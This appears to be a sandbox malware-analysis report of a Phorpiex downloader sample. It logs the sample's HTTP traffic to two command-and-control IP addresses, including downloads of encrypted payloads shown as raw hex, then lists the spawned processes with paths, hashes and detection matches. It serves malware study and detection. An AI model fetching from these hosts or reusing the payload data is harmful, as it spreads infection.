May 8, 2024 15:25:51.909209013 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49801	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:54.290774107 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:54.642417908 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:54 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49802	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:57.027489901 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:57.380295992 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:57 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49807	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:26:10.156857967 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:26:10.497107029 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:26:10 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:26:10.497241974 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:26:10.497333050 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:26:10.497349024 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:26:10.497562885 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:26:10.497608900 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:26:10.498331070 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:26:10.498344898 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49809	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:26:12.870759010 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:26:13.211987972 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:26:13 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:26:13.212258101 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:26:13.212305069 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:26:13.212373972 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:26:13.212554932 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:26:13.212584019 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:26:13.212657928 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:26:13.212678909 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Target ID:	0
Start time:	15:22:09
Start date:	08/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe"
Imagebase:	0x400000
File size:	100'864 bytes
MD5 hash:	0A547347B0B9AF0290B263DFA8D71EBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000000.1395571963.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000003.1416145697.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:22:11
Start date:	08/05/2024
Path:	C:\Windows\sysbrapsvc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysbrapsvc.exe
Imagebase:	0x400000
File size:	100'864 bytes
MD5 hash:	0A547347B0B9AF0290B263DFA8D71EBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000000.1416106928.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysbrapsvc.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:22:23
Start date:	08/05/2024
Path:	C:\Windows\sysbrapsvc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\sysbrapsvc.exe"
Imagebase:	0x400000
File size:	100'864 bytes
MD5 hash:	0A547347B0B9AF0290B263DFA8D71EBE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000000.1544428131.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:22:25
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\3193211493.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3193211493.exe
Imagebase:	0x400000
File size:	100'864 bytes
MD5 hash:	0A547347B0B9AF0290B263DFA8D71EBE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000000.1558944525.0000000000410000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\3193211493.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:22:38
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\1146722911.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1146722911.exe
Imagebase:	0xdb0000
File size:	14'848 bytes
MD5 hash:	D085F41FE497A63DC2A4882B485A2CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:22:50
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\2303012543.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2303012543.exe
Imagebase:	0xb50000
File size:	8'704 bytes
MD5 hash:	9B8A3FB66B93C24C52E9C68633B00F37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 30%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:22:52
Start date:	08/05/2024
Path:	C:\Users\user\winploravr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\winploravr.exe"
Imagebase:	0x2a0000
File size:	14'848 bytes
MD5 hash:	D085F41FE497A63DC2A4882B485A2CAF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:22:56
Start date:	08/05/2024
Path:	C:\Users\user\AppData\Local\Temp\2006625995.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2006625995.exe
Imagebase:	0xd70000
File size:	22'016 bytes
MD5 hash:	802C60DB52BD6C4DB699A74F63A00D8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
